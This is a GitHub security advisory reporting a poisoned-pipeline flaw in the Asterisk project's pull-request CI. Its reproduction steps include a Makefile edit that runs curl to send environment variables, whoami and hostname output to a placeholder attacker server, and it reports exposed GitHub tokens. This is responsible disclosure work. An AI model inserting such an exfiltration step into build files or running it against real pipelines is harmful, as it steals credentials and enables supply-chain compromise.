Skip to content

Remote Command Execution / Poisoned Pipeline Execution (PPE)

Critical
gtjoseph published GHSA-h382-r257-mcc7 Oct 25, 2023

Package

Asterisk (CI)

Affected versions

N/A

Patched versions

N/A

Description

Description:

Poisoned Pipeline Execution (PPE) attacks are a type of supply chain attack that can be used to compromise the build process of a software project. This type of attack targets the configuration files of Continuous Integration/Continuous Deployment (CI/CD) pipelines, which automate the build, testing, and deployment of software.

Since you are performing an internal tests with GitHub workflows CI for each new pull request which created in your open source repository here:
https://github.com/asterisk/asterisk
An attacker can leverage those tests in order to execute system commands in your runners while the build is in progress, and to fetch security credentials and sensitive data from your environment.

Steps to reproduce:

  1. Navigate to the following open source repository:
    https://github.com/asterisk/asterisk

  2. Open the "/Makefile" file and click edit.
    https://github.com/asterisk/asterisk/blob/master/Makefile

  3. Modify the scripts inside the Makefile file to send 'curl' command to a remote server with additional system commands such whoami, hostname, env to your remote server prefix/body so you'll be able to confirm the interaction and fetch the data:

curl -d "env" https://YOUR-SERVER-ADDRESS-HERE/whoami/hostname

Screenshot 2023-10-05 at 12 43 43

  1. Confirm the changes and create the Pull Request.

  2. When the pull request is created, the CI starts building the code with the attacker modifications.

Screenshot 2023-10-05 at 12 54 05

  1. During the build process, the curl command is running in your GitHub runners and sends the answer for the executed commands in the request body, which indicates that the injected system command was successfully executed, and the attacker can fetch sensitive information from your network:

The repository environment variables:
Screenshot 2023-10-05 at 12 31 24

3 different GitHub tokens stored as environment variables:
Screenshot 2023-10-05 at 12 38 48
Screenshot 2023-10-05 at 12 40 22

The Github token permissions (full write permissions):
Screenshot 2023-10-05 at 12 29 37

Potential Impact:

An attacker who successfully executes a PPE attack can insert malicious code into the build process, which can result in the creation of a compromised version of the software. This can have a wide range of security impacts, including:

  • Data theft: A compromised version of the software can be used to steal sensitive data from the organization or its customers.
  • Malware distribution: A compromised version of the software can be used to distribute malware to the organization or its customers.
  • System compromise: A compromised version of the software can be used to gain unauthorized access to the organization's systems.
  • Reputation damage: A successful PPE attack can damage the reputation of the organization, resulting in a loss of trust from its customers and partners.

Mitigation:

I highly recommend you to remove sensitive secrets from the environment, and to add another step of approval to the repository settings which will require an approval from one of the repository owners/maintenance instead of starting a build for each created pull request.

Please feel free to reach out in case you'll need additional details.

Best regards,
Naor Yaacov

Severity

Critical
9.1
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

CVE ID

No known CVE

Weaknesses

Credits